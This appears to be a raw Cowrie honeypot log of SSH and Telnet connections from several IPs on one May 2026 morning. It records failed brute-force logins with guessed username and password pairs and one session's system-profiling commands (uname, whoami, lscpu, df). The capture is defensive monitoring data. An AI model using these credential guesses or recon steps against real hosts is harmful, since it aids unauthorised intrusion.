{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:56.423023Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37692,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc21ddfbd5ae","protocol":"telnet","message":"New connection: 147.124.211.111:37692 (159.203.135.109:23) [session: dc21ddfbd5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:56.559553Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:56.862528Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:56.866274Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:57.065871Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:57.507440Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:57.510853Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:57.709434Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:58.149679Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:58.154253Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:58.355557Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37698,"dst_ip":"159.203.135.109","dst_port":23,"session":"006f8bd389f3","protocol":"telnet","message":"New connection: 147.124.211.111:37698 (159.203.135.109:23) [session: 006f8bd389f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:58.366270Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:58.805500Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:58.810070Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:59.013580Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.5","message":"Connection lost after 17.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:59.019502Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56630,"dst_ip":"159.203.135.109","dst_port":23,"session":"702487566f1d","protocol":"telnet","message":"New connection: 147.124.211.111:56630 (159.203.135.109:23) [session: 702487566f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:02.604629Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56636,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9249d1523a3","protocol":"telnet","message":"New connection: 147.124.211.111:56636 (159.203.135.109:23) [session: c9249d1523a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:02.897051Z"}
{"eventid":"cowrie.session.closed","duration":30.85698676109314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:07.134114Z","src_ip":"147.124.211.111","session":"69f3de5e62a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835342168807983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:09.239992Z","src_ip":"147.124.211.111","session":"1be94bd909c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":56646,"dst_ip":"159.203.135.109","dst_port":23,"session":"85dd4bef02a0","protocol":"telnet","message":"New connection: 147.124.211.111:56646 (159.203.135.109:23) [session: 85dd4bef02a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:09.321740Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37412,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb6bc961c1d2","protocol":"telnet","message":"New connection: 147.124.211.111:37412 (159.203.135.109:23) [session: fb6bc961c1d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:12.463012Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37424,"dst_ip":"159.203.135.109","dst_port":23,"session":"11fb98c5127a","protocol":"telnet","message":"New connection: 147.124.211.111:37424 (159.203.135.109:23) [session: 11fb98c5127a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:13.536444Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":56072,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1b1b1a1e3e8","protocol":"ssh","message":"New connection: 190.244.39.232:56072 (10.17.0.5:22) [session: b1b1b1a1e3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:13.934530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:13.947638Z","src_ip":"190.244.39.232","session":"b1b1b1a1e3e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:14.140892Z","src_ip":"190.244.39.232","session":"b1b1b1a1e3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"password","message":"login attempt [mcserver/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:14.910719Z","src_ip":"190.244.39.232","session":"b1b1b1a1e3e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:16.110972Z","src_ip":"190.244.39.232","session":"b1b1b1a1e3e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37426,"dst_ip":"159.203.135.109","dst_port":23,"session":"66ea61d28485","protocol":"telnet","message":"New connection: 147.124.211.111:37426 (159.203.135.109:23) [session: 66ea61d28485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:16.154992Z"}
{"eventid":"cowrie.session.closed","duration":31.487411499023438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:17.775699Z","src_ip":"147.124.211.111","session":"56dc24f8d1b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37428,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7dbf2b37da2","protocol":"telnet","message":"New connection: 147.124.211.111:37428 (159.203.135.109:23) [session: c7dbf2b37da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:19.190193Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":42988,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d8a8146fd83","protocol":"ssh","message":"New connection: 186.4.240.226:42988 (10.17.0.5:22) [session: 6d8a8146fd83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:19.443823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:19.448632Z","src_ip":"186.4.240.226","session":"6d8a8146fd83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:19.535534Z","src_ip":"186.4.240.226","session":"6d8a8146fd83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37440,"dst_ip":"159.203.135.109","dst_port":23,"session":"caae28a960d9","protocol":"telnet","message":"New connection: 147.124.211.111:37440 (159.203.135.109:23) [session: caae28a960d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:19.668626Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":37444,"dst_ip":"159.203.135.109","dst_port":23,"session":"695535015aba","protocol":"telnet","message":"New connection: 147.124.211.111:37444 (159.203.135.109:23) [session: 695535015aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:19.768189Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQqq123456","message":"login attempt [root/QQqq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:19.913307Z","src_ip":"186.4.240.226","session":"6d8a8146fd83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38720,"dst_ip":"159.203.135.109","dst_port":23,"session":"4716ec83f64a","protocol":"telnet","message":"New connection: 147.124.211.111:38720 (159.203.135.109:23) [session: 4716ec83f64a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:20.097537Z"}
{"eventid":"cowrie.session.closed","duration":30.67563533782959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:20.413402Z","src_ip":"147.124.211.111","session":"7df9a2ce497b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38714,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f867ad7b15c","protocol":"telnet","message":"New connection: 147.124.211.111:38714 (159.203.135.109:23) [session: 4f867ad7b15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:20.913293Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:21.002577Z","src_ip":"186.4.240.226","session":"6d8a8146fd83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38722,"dst_ip":"159.203.135.109","dst_port":23,"session":"677022659fe3","protocol":"telnet","message":"New connection: 147.124.211.111:38722 (159.203.135.109:23) [session: 677022659fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:22.126521Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":38124,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb23775e9ccd","protocol":"ssh","message":"New connection: 41.86.34.139:38124 (10.17.0.5:22) [session: cb23775e9ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:22.431167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:22.435541Z","src_ip":"41.86.34.139","session":"cb23775e9ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:22.645608Z","src_ip":"41.86.34.139","session":"cb23775e9ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@2023","message":"login attempt [ftpuser/ftpuser@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:23.510282Z","src_ip":"41.86.34.139","session":"cb23775e9ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38726,"dst_ip":"159.203.135.109","dst_port":23,"session":"00d08975829c","protocol":"telnet","message":"New connection: 147.124.211.111:38726 (159.203.135.109:23) [session: 00d08975829c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:24.149913Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38732,"dst_ip":"159.203.135.109","dst_port":23,"session":"36c37922292a","protocol":"telnet","message":"New connection: 147.124.211.111:38732 (159.203.135.109:23) [session: 36c37922292a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:24.317457Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:24.722288Z","src_ip":"41.86.34.139","session":"cb23775e9ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72328495979309,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:27.282517Z","src_ip":"147.124.211.111","session":"dc21ddfbd5ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38750,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa061bdb8cc0","protocol":"telnet","message":"New connection: 147.124.211.111:38750 (159.203.135.109:23) [session: fa061bdb8cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:29.186752Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":38764,"dst_ip":"159.203.135.109","dst_port":23,"session":"09a9fb402edf","protocol":"telnet","message":"New connection: 147.124.211.111:38764 (159.203.135.109:23) [session: 09a9fb402edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:29.319495Z"}
{"eventid":"cowrie.session.closed","duration":31.405983448028564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:29.772175Z","src_ip":"147.124.211.111","session":"006f8bd389f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.436214208602905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:33.040696Z","src_ip":"147.124.211.111","session":"702487566f1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.301315784454346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:33.198235Z","src_ip":"147.124.211.111","session":"c9249d1523a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41244,"dst_ip":"159.203.135.109","dst_port":23,"session":"798a6810bd06","protocol":"telnet","message":"New connection: 147.124.211.111:41244 (159.203.135.109:23) [session: 798a6810bd06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:33.777211Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41238,"dst_ip":"159.203.135.109","dst_port":23,"session":"60e7c14e0f7a","protocol":"telnet","message":"New connection: 147.124.211.111:41238 (159.203.135.109:23) [session: 60e7c14e0f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:34.034527Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41250,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2056fb659a5","protocol":"telnet","message":"New connection: 147.124.211.111:41250 (159.203.135.109:23) [session: c2056fb659a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:35.107955Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41260,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8690bb2b7c2","protocol":"telnet","message":"New connection: 147.124.211.111:41260 (159.203.135.109:23) [session: b8690bb2b7c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:35.401415Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41288,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e6d0cdad09","protocol":"telnet","message":"New connection: 147.124.211.111:41288 (159.203.135.109:23) [session: a0e6d0cdad09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:36.460179Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41276,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d8835d079c8","protocol":"telnet","message":"New connection: 147.124.211.111:41276 (159.203.135.109:23) [session: 4d8835d079c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:36.594584Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41290,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e0f2ad5c69b","protocol":"telnet","message":"New connection: 147.124.211.111:41290 (159.203.135.109:23) [session: 6e0f2ad5c69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:36.717799Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":41296,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c531775de37","protocol":"telnet","message":"New connection: 147.124.211.111:41296 (159.203.135.109:23) [session: 2c531775de37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:46:37.047074Z"}
